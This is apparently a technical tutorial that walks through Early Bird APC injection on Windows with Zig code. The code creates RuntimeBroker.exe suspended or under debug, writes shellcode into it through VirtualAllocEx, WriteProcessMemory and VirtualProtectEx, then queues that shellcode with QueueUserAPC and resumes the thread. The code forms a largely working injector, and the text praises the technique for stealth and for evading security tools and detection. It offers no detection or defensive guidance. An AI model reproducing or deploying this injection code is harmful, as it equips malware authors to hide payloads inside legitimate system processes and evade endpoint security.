Early Bird APC Injection
TL;DR
Early Bird APC injection is an advanced code injection technique that leverages the process creation lifecycle to execute malicious payloads before the main thread begins execution. This method creates a target process in a suspended or debugged state, injects shellcode, queues an APC to the main thread, and then resumes execution - causing the APC to execute immediately upon process startup.
The technique's effectiveness lies in timing: by injecting during process initialization, it bypasses many runtime security measures and appears as legitimate process behavior. Our Zig implementation provides flexibility with two process creation methods (CREATE_SUSPENDED and DEBUG_PROCESS) and demonstrates cross-process memory injection combined with APC queuing.
This approach is particularly stealthy because it executes within the context of a legitimate system process from its very first instruction, making detection extremely challenging for traditional security solutions.
What is Early Bird APC Injection?
Early Bird APC injection is a sophisticated variant of standard APC injection that exploits the process creation and initialization timeline. Unlike traditional APC injection which targets existing threads, Early Bird injection creates a new process specifically for the purpose of code injection.
The key insight is that when a process is created with the CREATE_SUSPENDED
flag or in debug mode, the main thread exists but hasn't started executing the original program code yet. This creates a perfect window to:
- Inject malicious code into the process memory space
- Queue an APC to the main thread
- Resume execution - causing the APC to execute before any original code
This timing makes the injection appear as if the malicious code is part of the original process initialization, making it extremely difficult to detect.
Process Creation Methods
Our implementation supports two different process creation methods, each with distinct advantages:
Using CREATE_SUSPENDED Flag
const CREATE_SUSPENDED = 0x00000004;
// Create process in suspended state
if (CreateProcessA(
null,
@constCast(formatted.ptr),
null,
null,
0,
CREATE_SUSPENDED, // All threads start suspended
null,
null,
&Si,
&Pi,
) == 0) {
// Handle error
}
- Clean and straightforward approach
- Process is truly suspended until resumed
- No debugging overhead
- Uses
ResumeThread
to continue execution
Using DEBUG_PROCESS Flag
const DEBUG_PROCESS = 0x00000001;
// Create process in debug mode
if (CreateProcessA(
null,
@constCast(formatted.ptr),
null,
null,
0,
DEBUG_PROCESS, // Process starts in debug mode
null,
null,
&Si,
&Pi,
) == 0) {
// Handle error
}
- Process appears to be debugging session
- Can blend in with legitimate debugging activity
- Uses
DebugActiveProcessStop
to detach and continue
Cross-Process Memory Injection
Early Bird injection requires writing shellcode into the target process's memory space using cross-process memory manipulation APIs:
Memory Allocation
fn injectShellcodeToRemoteProcess(
hProcess: windows.HANDLE,
pShellcode: []const u8,
ppAddress: *?*anyopaque,
) bool {
// Allocate memory in target process
ppAddress.* = VirtualAllocEx(
hProcess,
null,
pShellcode.len,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE,
);
if (ppAddress.* == null) {
print("\n\t[!] VirtualAllocEx Failed With Error : {d} \n", .{windows.kernel32.GetLastError()});
return false;
}
Key Points:
VirtualAllocEx
allocates memory in the target process- Initially allocated with
PAGE_READWRITE
for writing - Later changed to
PAGE_EXECUTE_READWRITE
for execution
Writing Shellcode
// Write shellcode to allocated memory
if (WriteProcessMemory(
hProcess,
ppAddress.*.?,
pShellcode.ptr,
pShellcode.len,
&sNumberOfBytesWritten,
) == 0 or sNumberOfBytesWritten != pShellcode.len) {
print("\n\t[!] WriteProcessMemory Failed With Error : {d} \n", .{windows.kernel32.GetLastError()});
return false;
}
Memory Protection
// Change memory protection to executable
if (VirtualProtectEx(
hProcess,
ppAddress.*.?,
pShellcode.len,
PAGE_EXECUTE_READWRITE,
&dwOldProtection,
) == 0) {
print("\n\t[!] VirtualProtectEx Failed With Error : {d} \n", .{windows.kernel32.GetLastError()});
return false;
}
APC Queuing and Execution
Once the shellcode is injected, we queue it as an APC to the main thread:
// Queue APC to the main thread
_ = QueueUserAPC(
@ptrCast(pAddress.?), // Shellcode address cast as function pointer
hThread, // Main thread handle
0, // No parameter data
);
Critical Timing:
- APC is queued while thread is suspended/debugged
- When thread resumes, APC executes before original code
- Appears as legitimate process initialization
Process Creation and Target Selection
Target Process Selection
RuntimeBroker.exe is chosen because:
- It's a legitimate Windows system process
- Commonly running on Windows systems
- Has appropriate privileges for demonstration
- Less likely to trigger security alerts
Process Path Resolution
fn createSuspendedProcess2(
lpProcessName: [*:0]const u8,
dwProcessId: *windows.DWORD,
hProcess: *windows.HANDLE,
hThread: *windows.HANDLE,
method: ProcessCreationMethod,
) bool {
var lpPath: [MAX_PATH * 2]u8 = undefined;
var WnDr: [MAX_PATH]u8 = undefined;
// Get Windows directory (usually C:\Windows)
if (GetEnvironmentVariableA("WINDIR", &WnDr, MAX_PATH) == 0) {
print("[!] GetEnvironmentVariableA Failed With Error : {d} \n", .{windows.kernel32.GetLastError()});
return false;
}
// Build full path: C:\Windows\System32\RuntimeBroker.exe
const formatted = std.fmt.bufPrintZ(&lpPath, "{s}\\System32\\{s}", .{
WnDr[0..std.mem.indexOfScalar(u8, &WnDr, 0).?],
std.mem.span(lpProcessName)
}) catch {
print("[!] Failed to format path\n", .{});
return false;
};
Resume Methods
The technique uses different methods to resume execution based on the creation method:
CREATE_SUSPENDED Resume
.CREATE_SUSPENDED => {
print("[i] Resuming The Target Process Thread ... ", .{});
const result = ResumeThread(hThread);
if (result == ~@as(windows.DWORD, 0)) {
print("[!] ResumeThread Failed With Error : {d} \n", .{windows.kernel32.GetLastError()});
} else {
print("[+] DONE \n\n", .{});
}
},
DEBUG_PROCESS Resume
.DEBUG_PROCESS => {
print("[i] Detaching The Target Process ... ", .{});
_ = DebugActiveProcessStop(dwProcessId);
print("[+] DONE \n\n", .{});
},
Complete Execution Flow
- Process Creation: Create target process in suspended/debug state
- Memory Allocation: Allocate executable memory in target process
- Shellcode Injection: Write payload to allocated memory and make it executable
- APC Queuing: Queue shellcode as APC to main thread
- Process Resume: Resume execution triggering APC
- Cleanup: Close handles and exit
Comparison with Standard APC Injection
Aspect | Standard APC Injection | Early Bird APC Injection |
---|---|---|
Target | Existing process/thread | Newly created process |
Timing | Runtime injection | Pre-execution injection |
Detection Risk | Medium (runtime behavior changes) | Lower (appears as process initialization) |
Thread State | Must find/create alertable thread | Uses main thread directly |
Complexity | Moderate | Higher (cross-process operations) |
Stealth | Good | Excellent |
Reliability | Depends on thread alertability | High (guaranteed execution) |
Security Evasion Benefits
Early Bird APC injection provides several security evasion advantages:
- Process Legitimacy: Creates real system processes, not suspicious executables
- Timing Evasion: Executes before most runtime security hooks activate
- Memory Layout: Shellcode appears as part of normal process memory
- Behavioral Mimicry: Mimics normal process initialization patterns
- API Usage: Uses only legitimate Windows APIs in expected ways